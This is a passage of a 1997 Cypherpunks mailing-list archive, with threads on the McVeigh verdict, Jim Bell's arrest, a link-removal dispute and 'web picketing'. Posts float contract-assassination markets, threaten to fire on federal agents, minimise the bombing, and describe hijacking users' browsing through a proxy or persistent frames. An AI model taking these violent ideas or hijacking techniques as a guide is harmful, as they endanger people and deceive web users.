Content-Type: text/plain




> At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote:
> >Appologists for McVeigh should consider that his actions did not 
> >advance the militia cause an iota, it destroyed it and along with 
> >it much of the right wing fringe.
> 
> "Follow the money" is usually sound advice. More general, ask "who
> benefits". Clearly, the constitutional militias and civil libertarians are
> the losers of the Oklahoma bombing. The sole benefactors are the statists
> and numerous government agencies.

That does not mean that they were the instigators. The militia potentially
stood to gain if the government overreacted and introduced martial law 
type curbs. The objective of terrorism is to provoke a reaction that can be
used as "proof" of the dictatorial nature of the opponent. This is why the
IRA spends its time burning down factories where Catholics work, it can
then blame the state of the Northern Ireland economy on "the British".

The damage done to Newt, Limbaugh and co was because of their reaction to 
the bomb. Limbaugh failed to give the categorical repudiation the act
required. Liddy appeared to be supportive with his "shoot for the head"
statement. It was very easy to pin part of the blame for Oaklahoma on the
people who had made a living out of stirring up hatred and paranoia.

Newt Gingrich got tarred by association with Liddy and Limbaugh. When 
the bombing occured he did precisely what he accuses Clinton of, he
equivocated waiting until the public mood was apparent to condem the
radio extreemists. It was too late for Newt to avoid blame since he had
also made much of his career out of the type of anti-government rant
that led McVeigh to mass murder.

There is a principle in propaganda that people unwittingly accuse others
of their own failings. Hence Newt who began his speakership by seaking 
a $2 million bribe from Rupert Murdoch believes Clinton must also be
on the take. The same principle is at work on the net. McVeigh is found
guilty of murder on the basis of a collosal mountain of evidence. The
reaction from the pro-millitia, pro-McVeigh people is that McVeigh must
have been framed and everyone who believes otherwise is guilty of "knee
jerk" reactions. If that isn't a knee jerk reaction I don't know what is.

There is absolutely nothing that the anti-government ranters contribute
to the pro-cryptography movement. They are a liability at best. Stuart
Baker is even now probably peddling his Clipper chip initiative in
Europe holding up one of Jim Bell's rants as "proof" of his case.


	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 4 Jun 1997 02:41:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: any off-line client for DES crack?
Message-ID: <199706031832.LAA22222@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Bryce <bryce@digicash.com> wrote:
>[...]
>Nope.  I'm thinking of really and truly off-the-net computers.
>I wonder how many of them there are that might participate in 
>the DES crack if the input and output can simply be directed 
>to/from a file...
>[...]

One here.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Wed, 4 Jun 1997 01:23:50 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: any off-line client for DES crack?
In-Reply-To: <Pine.3.89.9706021511.A22051-0100000@netcom19>
Message-ID: <199706031005.MAA22408@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym 
 "Lucky Green <shamrock@netcom.com>" typed:
>
> Are the computers completely off the net or are they behind a firewall or 
> dial-up connection? If the boxes can talk to a networked UNIX box 
> that is behind the same side of the firewall or have a dial-up connection, 
> DESCHALL offers helper software for you.


Nope.  I'm thinking of really and truly off-the-net computers.
I wonder how many of them there are that might participate in 
the DES crack if the input and output can simply be directed 
to/from a file...


Regards,

Zooko

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 03:40:33 +0800
To: Asgaard <cypherpunks@cyberpass.net
Subject: Will Bell get the rest of us in trouble?
In-Reply-To: <v03102807afb8d61f070a@[207.167.93.63]>
Message-ID: <v03102801afba1770a921@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 AM -0700 6/3/97, Asgaard wrote:
>On Mon, 2 Jun 1997, Tim May wrote:
>
>>>I believe I'm under a fair risk of being named as a co-conspirator
>>>of Bell's...
>
>But on the contrary, I clearly remember that you were one of very
>few who actually warned Jim Bell in clear language that he might be
>crossing the line in some particular rants, where he parted from the
>more or less pure theoretical level of discussion and hinted 'threats'
>at almost-named 'targets'. Of course, he was in many peoples killfiles

Indeed I did, and this was before I knew anything about his (alleged)
seeking out of home addresses of IRS agents and (alleged) stink bomb
attacks on IRS offices.

However, the focus, at least for why he has been denied bail, is strongly
on the "assassination politics" essays and communications, and on
"overthrowing the government" sorts of things. (This according to the
affidavit, and according to what Greg Broiles relayed from Bell's
court-appointed lawyer.)

I expect some of my writings are involved...it would be hard for them _not_
to be on Bell's computer, or even printed out.

(Bell originally proposed his AP in Usenet discussions, and was vague on
possible payment mechanisms. He know nothing to speak of about public key
cryptography and untraceable digital cash. Hal Finney referred him to my
writings on how untraceable digital cash could be used to set up
untraceable contract assassinations, and Bell joined the Cypherpunks list
soon thereafter. This was in the fall of 1995. I have always argued that
Bell's AP is just a gimmicky form of the more direct approach: using
anonymous contact mechanisms and untraceable digital cash to directly
arrange hits on those one wants dead. With third-party anonymous escrow
services to hold the untraceable cash (and uncashable to them, probably,
but not necessarily) until confirmation of the death has occurred.

This is not advocacy of this system, just exploration of the implications
and possible effects of strong cryptography. And I've been exploring these
ideas since 1987...my 1988 "Crypto Anarchist Manifesto" explicitly refers
to this use of untraceable payments. And Chaum has elliptically referred to
such uses, though he is an order of magnitude more circumspect than I am.

(I don't have a company to sell to other companies, or products to get
endorsements and export approvals and all that for. I can afford to examine
implications and even see how the work fits in with my political views
without fear of offending either Bill Gates or Marc Rotenberg...or even
Louis Freeh.)

I hope they come to my house to ask me about my writings. I will tell them
that unless they have a search warrant (or arrest warrant, or probable
cause to arrest me there on the spot) they'll have to get off my property
immediately. I have been reading with great interest the advice given by
Duncan, Greg, and others, and I intend to provide no help to the Feds, nor
to give them any information beyond my name, nor to let them ask me about
my own writings. I will demand that I be arrested and then given a lawyer
(I certainly don't plan to write out a check for $5000 to some local city
lawyer just because they've hauled me in...I'll let a court-appointed
lawyer do the grunt work). If they linger on my property without providing
a valid search or arrest warrant, I will give them a count of 30 and then
start firing. People have a right to defend their property against unlawful
incursions by the Feds and the local cops. A 30-count seems like more that
enough time for them to get off my property.

(If you think this is unlikely, recall the Founding Event of the Electronic
Frontier Foundation, the appearance of FBI agents at the rural home of John
Perry Barlow to interrogate him about matters regarding Operation Sun Devil
(or maybe it was the nuPrometheus League case...my memory has faded).
Barlow was so incensed at the cluelessness of the FBI agents and their
interrogation of him that he called Mitch Kapor to suggest something be
done. Gilmore got involved soon thereafter. Thus was the EFF born.)


>*Why is it that people of finer (?) English heritage often has a double
>second name? Someone once suggested to me that it originates from having
>(or an ancestor having) adopted the name of both one's 'marital' father
>and one's biological father, for reasons of property inheritance, but
>I never believed that one. Just curious.

I don't know. But I've noticed some Swedish double names, too. Same mystery
as why some lawyers put "Esquire" after their name, the canonical
yuppie-fake Brit name being:

"Winston Smith-Yates, III, Esq."

Yuppies in the U.S. have often gone to the "feminist-friendly"
hyphenization of their names, claiming it gives their children both names.

(Oh yeah? It just pushes the problem one level deeper in the stack, as
_their_ children than have to contend with being "Suzie
Smith-Yates-Hallam-Baker." I like the Icelandic solution where girl
children are "Suziesdottir" and boy children are "Winstonsson.")

Oh, and in the U.S. it is often the women who go for these hyphenated
names, while their husbands stick to the less awkward single name. Seems
sexist to me, but it's their choice to stick themselves with these
career-limiting hyphenated names. (We used to have a woman engineer at
Intel with one of these hyphenated Yuppie names...I'm sure our jokes about
her overly long name did not help her gain any respect.)

(New Age yuppies in America also like to do really, really stupid things
like combining their names into neologisms like combining Rotenberg and
Froomkin, just to pick two examples out of the air (:-), into travesties
like "Rotenkin." Or New Age nonsense like "Skysinger" and "Dolphinplay.")

--Tim May-Heden, I, non-Esq.







There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 4 Jun 1997 00:44:54 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Remove this link immediately
In-Reply-To: <199706030203.VAA13705@einstein.ssz.com>
Message-ID: <Pine.LNX.3.94.970603122251.31656C-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 2 Jun 1997, Jim Choate wrote:

[snipped]
> > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > > > at http://www.tinaja.com
> > > > Please remove this link.
> > > > Please do so immediately.
> > > 
> > > Short answer, no. If you don't want links to it don't put it on the net.
> > > 
> > 
> > Your actions constitute criminal libel.
> > You will be treated accordingly.
> > -- 
> > Many thanks,
> > 
> >   Don Lancaster

Aside from the blatant rip-offs, I like some of Don's stuff -- but he does
seem to've missed a lesson or two about the net. I especially like the list
of newsgroups at http://www.tinaja.com/text/newslist.html which say
"reposting is expressly forbidden."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Wed, 4 Jun 1997 03:49:48 +0800
To: Cypherpunks@Algebra.COM
Subject: Something for the conspiracy mongers...
Message-ID: <339473B9.799D@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain

http://www.wired.com/news/business/story/4209.html

Here is an interesting news item.  Make of it what you will...


  [arrow] ABC's Rush on Judgment Is a Red-Faced Flub
          by Austin Bunn

          6:02pm  2.Jun.97.PDT ABCNews.com jumped the gun on the Timothy
          McVeigh verdicts Monday afternoon, posting that the Oklahoma City
          bombing defendant was guilty approximately an hour before the
          jurors had made their verdicts known in a Denver courtroom.

          Spokeswoman Eileen Murphy said the error was a "technical glitch"
          caused by a misunderstanding about servers used on the site,
          which launched just last month. ABCNews.com uses a staging server
          to hold the prepared news before posting it live, but executives
          were unaware that the ticker function uploads information live
          directly.

          "We've never done the ticker updating this way," said Murphy.
          Both headlines - "McVeigh Not Guilty" and "McVeigh Guilty" - ran
          for an undetermined amount of time. "It was not up for very
          long," assured Murphy. "Someone noticed immediately and ...
          deleted it from the ticker."

          It's common practice for news organizations to prepare alternate
          headlines and stories should such a ruling go either way in order
          to get the news out as quickly as possible. But this isn't the
          first time an online news operation has had problems with a
          high-profile verdict. In October 1995, Pathfinder declared O. J.
          Simpson "Guilty" in his criminal trial, moments after the jury
          had acquitted him.

          From the Wired News New York Bureau at FEED magazine.
          [arrow]

   [Image]
     Find Read a story in the Wired News archive.
 Feedback Let us know how we're doing.
      TipsHave a story or tip for Wired News? Send it.

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 4 Jun 1997 03:42:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Follow the money"
In-Reply-To: <v03102803afba0104af92@[207.167.93.63]>
Message-ID: <199706031930.OAA03157@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803afba0104af92@[207.167.93.63]>, on 06/03/97 
   at 10:31 AM, Tim May <tcmay@got.net> said:

>NRA is still a mostly member-driven organization (lots of dues flowing
>in), and yet it bends to industry wishes. I shudder to think what the NRA
>would be supporting if it were mainly _industry_-driven.

It would depend on how jucy of a govenment contract could be offered.

>Which is what I'm sure CDT and EPIC are.

I wounder how much it cost the Feds to buy the support of IBM,DEC,HP,et
al.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5RxXI9Co1n+aLhhAQFEvQP+ORuU/orTBq7IqL7VT/CBC/bk/8diCZSZ
iOcXCB0GXhn9bHWwKOn/sJd51LPpOHSZxObNKPkkEGZ+r6MvQYJXf/FN2KbYFaZo
IWdmAmtQuMbxbGlsD/sJYb8BxpYKqtaXjxIDaEb6aDI199ZG0VqUohnKpzV0PeY4
B0cAbA4uUyA=
=shrE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 4 Jun 1997 07:26:23 +0800
To: cypherpunks@toad.com
Subject: Re: Webpage picketing?...
Message-ID: <199706032302.QAA01920@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> Jim Choate wrote:
> > I have been looking at how to impliment picketing on the web. To date I have
> > been unable to come up with a way to force a connection to one machine to go
> > through a third machine in order to express some view about the original
> > target.
> >
> > It occured to me
> > that since one could argue that the links between sites are public avenues a
> > site could 'picket' another site. The question became at this point, how?

> Jim:
> You may dislike
> one of the sites linking to yours, but you really can't hijack their
> connections and force people to listen to you who don't want to.

  Wrong! It's done every day in every media from newspapers to TV
and points in between, including the InterNet.

> Imagine if you could! Anyone who dislikes any other page on the
> web could block access

  Like CyberSitter, for instance. They can keep your child from 
using the local library computer to access Humane Society pages
and animal rights groups because they have the word "bitch" on
their websites.
  
> There are two things you *can* do.
 (With Peter's approval, but many more things you can do with
my approval.)

> 1. You can put a disclaimer on your page "If you linked here from
> XXX.XXX.XXX, please be aware that I object to that connection for
> the following reasons..."

  "...and I have uploaded a virus to your machine. Have a nice day."

> 2. If you or your webmaster have any kind of technical
> sophistication, you can force links to your page to go to a CGI
> script, which uses the HTTP-referrer: header to provide different
> pages depending on the source of the connection.

      "You have linked to the CHILD PORNOGRAPHY Home Page."
  "Information regarding your sexual proclivities will be forwarded
to the FBI, the local religious and law enforcement authorities in
your home town, as well as to your employer and known associates."
                  "Have a nice day."

> But please, don't try to extend the 'information superhighway'
> (blech!) metaphor to include virtual sidewalks with picketing
> rights

  Please, do!
  There is not a day goes by where government and corporate 
entities do not promote legislation or software standards, etc.,
which are designed to influence what we may and may not see,
as well as in what manner we perceive it. There is no reason
that the individual cannot work in their own way to counter 
activities that they see as working against their own personal
interests.

  It is possible to promote a wide range of "links" to web pages
which are "spoofs" of another page or which link to the page but
do so by opening them in a window which has surrounding windows
revealing contradictory opinons, links, etc.
  Provide a link to the "Pretty Lousy Privacy" homepage, but add
a window which mentions that your ten year old son cracked their
cryptography program. Provide a pointer to a copy of the latest
crypto legislation, which you have "translated" to include phrases
such as, "despite its blantant unconstitutionality" and "in order
to shear the sheeple."
  You are under no obligation to produce links or pointers, or to
respond to links or pointers to your own site, in a manner that
runs contrary to your own self-interest, or which allow those
following those links to do so with blind faith that they will
receive information slanted only toward a pre-conceived view of
the world.

  Someone posted a URL to a web page "spoof" done by a number
of cypherpunks (Hal Finney??,??) who had placed a number of
options such as "Click here to destroy your hard-drive.", etc.
on the site. It was a very Zen koan type of page which made
one think about what they were doing and the possibilities
of what the web page authors were/could-be doing.
  Click on a link that states, "Click here to see Hot, Teenage
Sluts" and you are likely to end up at hotmail.com, adding to
their list of spammees. To join the Dorthy Denning fan club,
send email to majordomo@toad.com with a message body that says
"subscribe cypherpunks."

  One can change the content of another's message when replying
to an email:
> Peter Trei
> Disclaimer: The above represents the opinion of the people who
> are holding my family hostage.
or invent whatever "facts" suit their purpose:
  "Dr. Vulis is a murdering Armenian and Jim Choate sends the
ASCII art spams to the list. These are well-known facts to which
they have admitted in the past."

  I have a lot of respect for Peter's work, opinions and for his
integrity, but my perception is that he fails to understand that
the InterNet is a growing mosaic which can and should reflect
*all* of life, and that his perception of what the InterNet is
and should be somehow dictates what should and should not be
done on the InterNet.
  I think that what should be done on the InterNet is exactly
what people *want* to do. It is up to their own conscience as
to whether their actions are done with integrity and up to the
rest of us to interpret and respond to those actions.

  Tim May replied to someone on the list that a subject header
he had used was "guilty(?)" of being inflammatory, and that
he had used it for that very reason, to draw attention to his
post. Is this manipulative? It is the way life works.
  I used Peter Trei and others' software for the DES Challenge,
but I posted a suggestion to the list that perhaps their programs
contained subterfuge designed to thwart others in their attempts
to find the secret keys. Was I spreading FUD? The responses to
my post gave me much more information about the processes behind
the software than any direct inquiries I had made about their
workings. (And they reinforced the fact that "blind trust" in
their programs or anyone else's is foolish.)

  In short, I do not see Jim's concept of "picketing" web sites
to be lacking in ethics, any more than Dr. Vulis' "rants" or
John Gilmore's "unsubscribing" of the good Doctor or Tim May's
"prodding" of our attention by his choice of subject headers.
  Each of us is responsible for interpreting and analyzing the
information we access whether it says the king is wearing 
clothes or the king is naked.
  I could put a pointer to Peter's software which opens an
adjoining window which warns that it may be compromised as a
result of ulterior motives. The fact is, however, that Peter
might himself put a disclaimer on his page saying, "If you
can't read code, then you can't be certain of what my software
is doing." (As a matter of fact, I believe his documentation
mentions that there is no guarantee his logic is not in error.)

  And in the extreme case of anti-abortionists intercepting the
email of pro-choice groups and inserting "Abortion is Murder!"
messages--if the person receiving the message can't figure out
that something is amiss, then maybe its not a good idea for
them to be having children, anyway.

(maybe) TruthMonger (maybe not)
  To view the contents of the whitehouse.gov hard drive:
http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 4 Jun 1997 07:40:45 +0800
To: cypherpunks@toad.com
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <19970603161233.30762@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 02, 1997 at 11:04:50AM -0700, Lucky Green wrote:
>At 12:14 PM 6/2/97 BST, Michael Froomkin wrote:
> >Rotenburg should be a near-hero to most readers of this list.  Instead,
> >canabalism.   Weird.  Very weird.
>  Michael,
>  You need to realize that Cypherpunks transitionally has been about the

You must mean "traditionally", right?

>*elimination* of all governments. Cypherpunks' goal is called
>crypto-anarchy for a reason. In fact, for Cypherpunks cryptography is
>simply an exceptionally effective tool to achieve anarchy. The
>governments share the belief that wide spread use of crypto will possibly
>lead to anarchy, which is why they attempt to limit its use. The rest is
>smoke and mirrors and statements by people that fail to understand that
>the whole crypto issue is about anarchy and not about math.

I don't know about governments in general, but I don't think the US
government is seriously concerned that cryptography will lead to
"anarchy".  Their concerns about cryptography are much narrower, about
how cryptography can aid criminals, help people avoid taxes, etc. 
These government concerns don't sum to anything even close to anarchy,
either in the traditional literary sense or the obscure technical
sense preferred on this list.

>  Anarchy can not be achieved by negotiations or cooperation with any
>branch of government. Neither can crypto-anarchy be achieved by nuking
>DC.
>  I certainly can understand the reasons that
>would lead a person to start
> thinking that "something is better than nothing" or "the bastards need to
>receive the punishment they so richly deserve". Neither view will help to
>further crypto-anarchy in any meaningful way.

Crypto-anarchy is like communism -- great in theory, impossible in
practice.

>  Have fun,

You too :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Choate <jchoate@tivoli.com>
Date: Wed, 4 Jun 1997 05:30:29 +0800
To: telecode@primenet.com
Subject: Re: Hacker Links page
In-Reply-To: <33945CA6.1E69@primenet.com>
Message-ID: <199706032115.QAA25185@corp.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi Duffy,

> James,
> 
> With regards to the page URL listed below:
> 
> 	http://einstein.ssz.com/ravage/hacker.html
> 
> The owner of the site of one the links listed has asked to have their
> URL removed from this page. Since the source of the page was "The
> Hackers Catalog", they contacted us. We removed their link promptly,
> however, a web search showed your URL still remaining on the page. They
> have asked us to remove all links back to them, so I am asking you to
> remove the link to the "Guru's Lair" as soon as possible. It's the first
> one on the top of the page. 
> 
> Thanks for helping...
> 
> duffy
> telecode@primenet.com

Please do not send further email to 'jchoate@tivoli.com' as this has
nothing to do with my business or the issue under discussion. ALL
correspondance should occur through 'ravage@ssz.com' or phone at
512-451-7087 (8pm - 10pm CST only). Should I receive further email
at Tivoli - IBM's site I will inform them of the breach on your part.

First, let's set the record straight. I was NEVER asked to do anything.
It was DEMANDED that I take the link down. When I explained that I would
not do that I received an email accussing me of criminal libel. Not what
I would call a request by any definition of that word. I don't like being
threatened and it makes me less than cooperative when it happens.

Furthermore, why should I take it down? Does the owner plan on dropping
the site and therefore it is a dead link? Certainly I will take it down
because it reflects badly on me having dead links.

As to where the html that I currently possess came from originaly, I
don't have a clue. I received it as a piece of email from somebody quite
a while ago (memory says over a year). If it really did come from The
Hackers Catalog and they are claiming copyright on it, I have no problem
removing their html, I would replace it with the same links using my own
text and html thereby removing the infringment. Is that what you are
requesting?

The next question that needs asked is whether there is any copyrighted
material other than The Hackers Catalog claim. The link does not use
any text or graphics from the target site. It furthermore does not even
explicity identify the link. So it is clear that there is no copyrighted
material from Don or his site residing on my server.

So, the remaining question is does Don have the legal right to limit who
may link to it. I do not believe that Don has any more right to decide
who can link or furthermore visit his sight than my own. This in effect
means none.

I believe the only reasonable responce that I can have to this 'request'
is to decline on any other issue other than removing the The Hackers
Catalog and replacing it with my own file.

So, are you representing The Hackers Catalog and requesting the removal
of their fragment of html? If so then I have no problem replacing the file
as soon as I receive a written notice from a legal representative detailing
the complaint and the time period I have to correct the situation.

If you are instead representing Don and requesting that I remove that
specific link because of his disatisfaction with its location then I must
refuse. I furthermore would request, as I have of Don, to forward me the
name and number of the appropriate lawyer so that my legal council may
contact them and begin proceedings.

Have a nice day.

                                               Jim Choate
                                               The Armadillo Group
                                               ravage@ssz.com
                                               512-451-7087







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 4 Jun 1997 07:39:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <199706032319.QAA24709@netcom15.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Phill writes:

> McVeigh is the racist extreemist who has committed mass murder in this
> case, not the government. While I would welcome it if you joined me in
> condeming US sponsored terorism during the cold war I don't think you
> are willing to do so.

No government can afford to behave in a way that outrages large numbers of
citizen-units, and provokes action on the part of the less mentally stable
ones.  Janet Reno sealed the fate of the federal building on the day that
she took action which resulted in numerous children being incinerated,
just so she could win a dicksizing contest with a religious extremist. 

> But this threat does not come from the state, it comes from those like
> McVeigh who will murder children to further their agenda.

I worry a lot more about the behavior of the United States, the nation
that never apologizes, the arms merchant to the world, five percent of the
population of the world that thinks it has the Manifest Destiny to dictate
to the other ninety five percent, than I worry about whether such behavior
inspired little Timmy McVeigh and others of his ilk to set off a truck
bomb. 

I think the odds are about 50/50 between McVeigh being the bomber, and
McVeigh being the first anti-government extremist sap the Feds tripped
over after their precious building blew up.  It's not as if we have the
ability to make that distinction given coerced testimony from friends,
planned leaks, and invented testimony from the FBI crime lab, all of which
could have been easily manufactured for an arbitrary suspect. 

Maybe McVeigh blew up the building, and maybe he didn't.  Like the Kennedy
assassination, the official version of the facts is now all that exists. 

> It is surprising to find that you are so willing to be an open appologist
> for McVeigh's crime but in answer to your point: No children are going to
> grow up in a better world because of McVeigh or any of his followers,
> many will not grow up at all because he murdered them.

Along with many Vietnamese children, Granadian children, Panamanian
children, and Quadaffi's baby.  At least in Oklahoma city, we didn't have
marines bulldozing the bodies of dead civilians into trenches to make
everything neat and tidy before the press arrived. 

Yes, Oklahoma city was unfortunate.  It was not remarkable or unexpected. 

If the government deliberately kills Tim Mcveigh, it will not bring back a
single dead person.  It will just demonstrate that we have a government
that deliberately kills people.  But then, we knew that already, didn't
we? 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 4 Jun 1997 04:29:10 +0800
To: cypherpunks@cyberpass.net
Subject: [OFF-TOPIC] Naming systems...
Message-ID: <199706032014.NAA06953@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim wrote:
> At 11:21 AM -0700 6/3/97, Asgaard wrote:
> 
> >*Why is it that people of finer (?) English heritage often has a double
> >second name? Someone once suggested to me that it originates from having
> >(or an ancestor having) adopted the name of both one's 'marital' father
> >and one's biological father, for reasons of property inheritance, but
> >I never believed that one. Just curious.

That's the impression I got while I lived there. Many people regard 
it as rather pretentious (pace, Phil). At my school, there was 
a student who rejoiced in the moniker (I am not making this up):

"The Honorable Jamie Darymple-Hamilton, Esq."

> Yuppies in the U.S. have often gone to the "feminist-friendly"
> hyphenization of their names, claiming it gives their children both names.
 
> (Oh yeah? It just pushes the problem one level deeper in the stack, as
> _their_ children than have to contend with being "Suzie
> Smith-Yates-Hallam-Baker." I like the Icelandic solution where girl
> children are "Suziesdottir" and boy children are "Winstonsson.")

With the old Norse system, still used in Iceland, there is a tremendous 
namespace-collision problem. There is a fairly short list of 
acceptable first names (yes, there is a list, and you have to name your 
child from it - this is fairly common outside the US), and by the second 
generation these names, and only these names, get pushed into the surname 
namespace. Immigrants change their names to Icelandic ones as a 
requirement of citizenship. The one exception is that if you are 
still living in the place you were born, you can adopt the placename
as your surname. 

Thus, Iceland, with only 265,000 people, has phonebooks which index by 
location and profession as well as by name to reach a reasonable 
level of dis-ambiguation.

[Doubtless some Magnus Magnusson (the most common male Icelandic 
name) will correct some of the details here.]

Peter Trei (that's Estonian, if you were wondering).
trei@process.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 4 Jun 1997 07:40:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102808afb8d91fbb72@[207.167.93.63]>
Message-ID: <19970603162831.63845@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 02, 1997 at 01:21:54PM -0700, Tim May wrote:
[...]
> Suffice it to say for now that many people have been on the list, and then
> dropped off. For lots of reasons. And their reasons are not something I
> feel I need to worry about. They'll do what they want to do. Some graduated
> from school, some got crypto jobs, some decided they'd had enough, some
> agreed with the basic views but were ready to move on, some despised our
> basic outlook, some were told by their employers their subversive
> activities were a career impediment, some disliked the yahoos and lunatics,
> some wanted censorship and left when they didn't get it, some never
> bothered to resubscribe after being dropped for one reason or another, and
> so on.

Some grew up.  Some, like Peter Pan, want to remain children forever.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 4 Jun 1997 08:02:08 +0800
To: cypherpunks@toad.com
Subject: Re: Voluntary GAK
Message-ID: <199706032337.QAA03032@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  A while back I got a letter from the city asking me to pay a $30
"voluntary fine" for my dog running at large. I replied that I would
take care of the matter when I showed up for my "voluntary" execution.
  A few days ago, a man with a badge and a gun showed up on my doorstep
to explain that if I failed to pay the "voluntary" fine, that a summons
would be issued to require me to go to court and pay a fine.
  I can hardly wait for the city's "voluntary GAK" ordinance.

A. Volunteer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Wed, 4 Jun 1997 05:58:28 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing?...
In-Reply-To: <199706031316.IAA15007@einstein.ssz.com>
Message-ID: <3.0.1.32.19970603164718.00a218e0@labg30>
MIME-Version: 1.0
Content-Type: text/plain



At 09:57 AM 6/3/97 -6, Peter Trei wrote:
>Jim Choate wrote:
>> I have been looking at how to impliment picketing on the web. To date I
have
>> been unable to come up with a way to force a connection to one machine
to go
>> through a third machine in order to express some view about the original
>> target.

There are a couple ways to do it.  One would be to implement an
"anonymizer" type scheme, where you "hijack" an unsuspecting surfer by
sending him/her off to http://www.evil.hijacker.org/www.yahoo.com, where
your server does the surfing for the victim, editing and picketing the HTML
returned.  You can do anything you want to them, your machine is in control
of the http connections.

Another method, which is quite a bit easier (and I've enclosed an example
below,) is to throw up a frame; giving the bottom of the users the screen
to wherever they surfed to, but retaining a frame on the top to play your
parade of protest animated gif banners.

Note that both of these require you to be an unscrupulous stealer of other
peoples browser space.  They also require the users arrive at your site
first, and leave via your links (their own bookmarks or typed URLs will let
them off the hook.)  I don't know of a way (short of usurping a DNS
server's authority) of getting hooked into their site from the first.  I
suppose if you ran a router between the site you wished to hijack and the
viewer whom you've hijacked, you could, but we're talking MAJOR no-no (and
lots of code) here.

Enclosed is an example set of files that shows "permanent" frames of the
type that hang around and annoy people.  Cut'n'paste to save them to your
local machine, then open the file fooIndex.htm with your frame-enabled
browser.  Notice how the banners (picket signs) hang around even after
linking off to somewhere else.  The drawback to this method is that your
protest is not "dynamic".  If they're on your vegetarian site, and follow
your link to www.beef.com, your banners will scream "Meat is Murder."
However, if they then follow the link from www.beef.com to
www.fur-coat.com, they'll still be under "Meat is Murder" banners.  You'd
be unable to display the "Fur is Dead" banners, because the browser hasn't
